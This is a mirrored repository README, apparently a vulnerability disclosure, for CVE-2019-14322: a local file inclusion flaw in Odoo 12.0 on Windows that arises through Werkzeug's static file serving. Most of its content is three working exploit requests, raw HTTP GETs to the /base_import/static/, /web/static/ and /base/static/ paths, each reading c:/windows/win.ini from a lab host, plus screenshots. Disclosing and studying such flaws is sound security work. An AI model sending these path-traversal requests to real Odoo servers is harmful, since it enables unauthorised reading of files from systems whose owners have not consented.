Odoo-12.0-LFI-Vulnerabilities

KO | EN

gitlite — search

#javascript #python #hacktoberfest #react #ai #typescript #llm #go #golang #android #machine-learning #rust #deep-learning #linux

Odoo-12.0-LFI-Vulnerabilities

★ 11 Open GitHub ↗

Odoo 12.0 allows remote attackers to read local files.

다운로드

최종 버전 다운로드 (.zip)

// repository documentation

Was this content helpful?

★ 0 (0 ratings)

# Odoo-12.0-LFI-Vulnerabilities
[Odoo 12.0](https://www.odoo.com/) that is open source ERP and CRM, allows remote attackers to read local files.

[https://www.odoo.com/security-report](https://www.odoo.com/security-report)

[https://palletsprojects.com/p/werkzeug/](https://palletsprojects.com/p/werkzeug/)

![Odoo](https://emreovunc.com/images/odoo-emreovunc-security.png)

![Werkzeug](https://emreovunc.com/blog/en/werkzeug-0-15-5.png)

# CVE-2019-14322
To exploit vulnerability, someone could use 'http://[HOST]:8069/base_import/static/c:/windows/win.ini' request to get some informations from the target.

```
GET /base_import/static/c:/windows/win.ini HTTP/1.1
Host: 172.16.191.132:8069
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
```

![alt tag](https://emreovunc.com/blog/en/Odoo-v12-LFI-Vulnerability-3.png)

To exploit vulnerability, someone could use 'http://[HOST]:8069/web/static/c:/windows/win.ini' request to get some informations from the target.

```
GET /web/static/c:/windows/win.ini HTTP/1.1
Host: 172.16.191.132:8069
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
```

![](https://emreovunc.com/blog/en/Odoo-v12-LFI-Vulnerability-1.png)

To exploit vulnerability, someone could use 'http://[HOST]:8069/base/static/c:/windows/win.ini' request to get some informations from the target.

```
GET /base/static/c:/windows/win.ini HTTP/1.1
Host: 172.16.191.132:8069
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
```

![ ](https://emreovunc.com/blog/en/Odoo-v12-LFI-Vulnerability-2.png)

Odoo-12.0-LFI-Vulnerabilities

다운로드

오늘의 추천 프로젝트

Was this content helpful?

Recent Feedback

Odoo-12.0-LFI-Vulnerabilities

다운로드

오늘의 추천 프로젝트

Was this content helpful?

Recent Feedback

Download README